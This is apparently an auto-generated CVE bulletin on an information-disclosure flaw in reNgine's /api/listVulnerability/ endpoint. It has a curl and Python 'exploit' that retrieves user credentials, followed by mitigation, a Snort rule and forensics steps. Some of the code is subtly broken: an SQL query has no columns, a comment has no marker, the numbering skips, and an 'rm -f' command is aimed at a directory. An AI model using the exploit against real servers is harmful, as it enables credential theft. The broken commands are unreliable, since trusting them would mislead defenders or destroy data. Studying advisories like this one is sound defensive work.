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How CVE-2025-24899 Works
The vulnerability in reNgine allows an authenticated attacker with any role (e.g., Auditor, PenTester, or Sys Admin) to exploit an insecure API endpoint (/api/listVulnerability/). When fetching scan results, the backend improperly exposes sensitive user data, including credentials, emails, and activity logs. The flaw stems from missing role-based access control (RBAC) checks and excessive data exposure in API responses. Attackers can retrieve this information via a simple GET request, enabling further privilege escalation or credential reuse attacks.
DailyCVE Form
Platform: reNgine
Version: < 2.2.0
Vulnerability: Information Disclosure
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Exploit Command (cURL):
curl -X GET "http://<target>/api/listVulnerability/" -H "Authorization: Bearer <attacker_token>"
2. Python Exploit Script:
import requests
headers = {"Authorization": "Bearer <attacker_token>"}
response = requests.get("http://<target>/api/listVulnerability/", headers=headers)
print(response.json()) Dumps sensitive data
Mitigation
1. Patch: Upgrade to reNgine v2.2.0+.
- Temporary Fix: Block unauthorized API access via WAF rules:
location /api/listVulnerability/ { deny all; }
3. Audit RBAC:
grep -r "listVulnerability" /path/to/reNgine/code/
Detection
1. Log Analysis:
grep "GET /api/listVulnerability/" /var/log/nginx/access.log
2. IDS Rule (Snort):
alert tcp any any -> any 80 (msg:"reNgine CVE-2025-24899 Exploit"; content:"GET /api/listVulnerability/"; sid:1000001;)
Post-Exploit Forensics
1. Check Stolen Data:
sqlite3 /path/to/reNgine/db.sqlite3 "SELECT FROM users;"
2. Revoke Sessions:
rm -f /path/to/reNgine/sessions/
Sources:
Reported By: nvd.nist.gov
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